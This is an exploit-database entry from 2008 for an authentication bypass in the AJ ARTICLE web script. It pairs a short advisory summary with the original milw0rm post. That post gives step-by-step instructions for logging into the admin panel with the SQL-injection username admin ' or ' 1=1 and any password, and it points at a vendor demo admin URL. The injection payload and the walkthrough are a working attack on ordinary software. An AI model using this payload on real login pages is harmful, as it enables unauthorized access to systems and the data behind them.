AJ ARTICLE Auth Bypass

vendor:

AJ ARTICLE

by:

Hakxer

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: AJ ARTICLE

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

AJ ARTICLE is vulnerable to authentication bypass. An attacker can use the username 'admin' or '1=1' and any password to bypass authentication and gain access to the admin panel.

Mitigation:

Upgrade to the latest version of AJ ARTICLE.

Source

Exploit-DB raw data:

###########################################################################
      ______    __  __   ______          __                ______                   
     / ____/___ \ \/ /  / ____/___  ____/ /__  __________ /_  __/__  ____ _____ ___ 
    / __/ / __ `/\  /  / /   / __ \/ __  / _ \/ ___/ ___/  / / / _ \/ __ `/ __ `__ \
   / /___/ /_/ / / /  / /___/ /_/ / /_/ /  __/ /  (__  )  / / /  __/ /_/ / / / / / /
  /_____/\__, / /_/   \____/\____/\__,_/\___/_/  /____/  /_/  \___/\__,_/_/ /_/ /_/ 
        /____/                                           

# Discovered by : Hakxer
# Type Gap : Auth Bypass
# Script : AJ ARTICLE 
# Greetz : Allah , Egyptian x hacker , Br1ght D@rk 
##########################################################################

# [~] First Go to http://www.ajsquare.com/products/demo/admin/index.php
# [~] In username Write : admin ' or ' 1=1
# [~] In Password Any thing : Hakxer
# [~] Click Login ..! you in panel
		

# Proud To be a Muslim #
#_=END=_#

# milw0rm.com [2008-11-01]